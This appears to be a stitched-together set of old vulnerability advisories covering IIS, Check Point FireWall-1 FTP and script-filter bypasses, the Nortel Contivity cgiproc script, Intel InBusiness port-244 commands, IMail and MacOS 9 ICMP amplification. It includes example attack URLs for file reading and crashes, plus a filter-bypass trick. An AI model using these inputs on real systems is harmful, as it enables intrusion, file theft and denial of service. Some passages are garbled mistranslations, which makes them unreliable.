The process inetinfo.exe will crash, resulting in a Dr. Watson access violation error. Restarting IIS is required in order to regain normal functionality

Check Point Firewall-1 allows remote attackers to bypass port access restrictions on an FTP server by forcing it to send malicious packets that Firewall-1 misinterprets as a valid 227 response to a client's PASV attempt. Firewalls and other systems that inspect FTP application layer traffic may not adequately maintain the state of FTP commands and responses. As a result, an attacker could establish arbitrary TCP connections to FTP servers or clients located behind a vulnerable firewall. A vulnerability exists in the way that Checkpoint FireWall-1 handles packets sent from an FTP server to a connecting client. An attacker may be able to exploit this weakness to establish connections to any machine residing behind a FireWall-1 machine, or send packets in to a network protected by a FireWall-1. FireWall-1 monitors packets from the FTP server to the client, looking for the string "227 " at the beginning of each packet. If FW-1 finds a packet which matches this criteria, it will extract the destination address and port, verify that the specified destination address matches the source of the packet, and allow TCP connections through the firewall to the destination IP and port. In FireWall-1 4.0, these TCP connections can only send data in one direction. Under FireWall-1 3.0 and prior, this limitation does not exist. In addition, under FW-1 4.0 the data cannot be travelling to a port that is defined in FW-1's list of well known TCP services. The details of the vulnerability posted by John McDonald <jm@dataprotect.com> contained the following example: "Here is an example of an attack based on this technique. There is a FireWall-1 machine between gumpe and the 172.16.0.2 server, which only permits incoming FTP connections. 172.16.0.2 is a default Solaris 2.6 install, with the Tooltalk Database vulnerability. We send the datagram directly to the service's TCP port, in spite of this port being blocked by the firewall. Note that since there is no response expected, the one-way restriction doesn't affect this attack. All of our testing was done on a Nokia IPSO machine running FW-1 version 4.0.SP-4.

In summary, if a network has an FTP server accesible behind a FireWall-1 firewall, that they allow the outside world access to, it may be possible for an attacker to open TCP connections to certain ports on that FTP machine. This vulnerability is not specific to Firewall-1. It has been demonstrated that the PIX firewall, from Cisco, is also vulnerable. Check Point Firewall-1 is vulnerable

Firewall-1 does not properly filter script tags, which allows remote attackers to bypass the "Strip Script Tags" restriction by including an extra < in front of the SCRIPT tag. Firewall-1 includes the ability to alter script tags in HTML pages before passing them to the client's browser. This alteration invalidates the tag, rendering the script unexecutable by the browser. In version 3, this function can be bypassed by adding an extra opening angle bracket. The tag will be left unmodified, and the browser will be able to execute the contained script. Hostile script could lead to a remote compromise of the client system. Firewall-1 version 4 will alter the tag as expected

cgiproc CGI script in Nortel Contivity HTTP server allows remote attackers to read arbitrary files by specifying the filename in a parameter to the script. The Contivity series is an external network switch product developed by Nortel. The newer Contivity switch includes an httpd server running on the VxWorks operating system to provide a remote Web-based management interface.  A vulnerability exists in the "cgiproc" script implementation of the Web management interface of the Contivity series switches. A remote attacker could use this vulnerability to conduct a denial of service attack on the switch or view arbitrary system files.  Because the user input is not sufficiently filtered, if you pass metacharacters to the cgiporc program, such as "!" Or "$", the system will crash. Another vulnerability of cgiproc is the lack of authentication when requesting a management page. This enables an attacker to view any file in the web server. A total system crash can occur as a result of exploiting a vulnerability in a cgi-bin program called "cgiproc" that is included with the webserver. If metacharacters such as "!", or "$" are passed to cgiproc, the system will crash (because the characters are not escaped). foo <foo@blacklisted.intranova.net> provided the following example: http://x.x.x.x/manage/cgi/cgiproc?$ [crash] No evidence of this problem being exploited is saved in the logs. foo <foo@blacklisted.intranova.net> also provided an example for this vulnerability: http://x.x.x.x/manage/cgi/cgiproc?Nocfile=/name/and/path/of/file.

Intel InBusiness E-mail is a small application server. This product has a security vulnerability that allows unauthorized remote attackers to delete arbitrary files on the hard disk and change the configuration file of the e-mail workstation. Under certain conditions, remote attackers also It is possible to read the e-mail of any user in the system. Details: This e-mail workstation runs the VxWorks operating system and uses a 486 SX25 processor. A daemon called "daynad" is bound to TCP port 244. By connecting to this service port, you can execute many commands without going through any security authentication. By simply establishing a TCP connection to this port, the following commands can be executed: FormSet: After the next restart, this e- The mail workstation will be restored to the factory state. In this state, the e-mail workstation will use a DHCP server to obtain its own IP address. This also means that the attacker can connect to e without any password after the next restart. -Mail workstation and complete control of the entire device. FormProtect: After the next restart, the e-mail workstation will be restored to the factory state and all passwords will be disabled. Only reconnecting Use the FormSet command to restore to port 244. MakeDir: Create a directory on the hard disk Remove: Remove the specified file from the hard disk, which may be the user's mail or other files. Z: This command will provide a UNIX-type login prompt interface. Enter the password of the super user to enter. If the password is reset using FormSet, the attacker may log in without the password. Once logged in, the attacker may execute arbitrary commands to operate the hard disk. & Lt; * Source: Kit Knox (kit@CONNECTNET.COM) *>. e-mail

IMail IMONITOR status.cgi CGI script allows remote attackers to cause a denial of service with many calls to status.cgi. IMail includes a service called IMail Monitor which is used for local and remote performance measuring and diagnostics. It includes a small webserver operating on port 8181 to support web-based monitoring. One of the cgi scripts, status.cgi, is used to determine which services are currently running and create a web pafge to report this information. Multiple simultaneous requests for status.cgi will cause the software to crash, with a Dr. Watson error of "Invalid Memory Address". There is a vulnerability in the IMail IMONITOR status.cgi CGI script

Macintosh systems generate large ICMP datagrams in response to malformed datagrams, allowing them to be used as amplifiers in a flood attack. apple's macOS Exists in unspecified vulnerabilities.None. The implementation of Open Transport in MacOS 9 includes a weakness that could allow an attacker to use the Mac as a traffic amplifier in a DoS attack against another computer. A specially-crafted 29-byte UDP packet can be sent to a machine running MacOS 9. The Mac will then respond with a 1500 byte ICMP packet. If the first UDP packet is sent with a spoofed IP address of a third machine, and these spoofed triggger packets are sent to several MacOS 9 machines,, it will create an effective DoS of the third machine due to bandwidth starvation. There are a large number of ICMP datagram vulnerabilities in the Macintosh system. Attackers use these vulnerabilities as amplifiers to carry out attacks
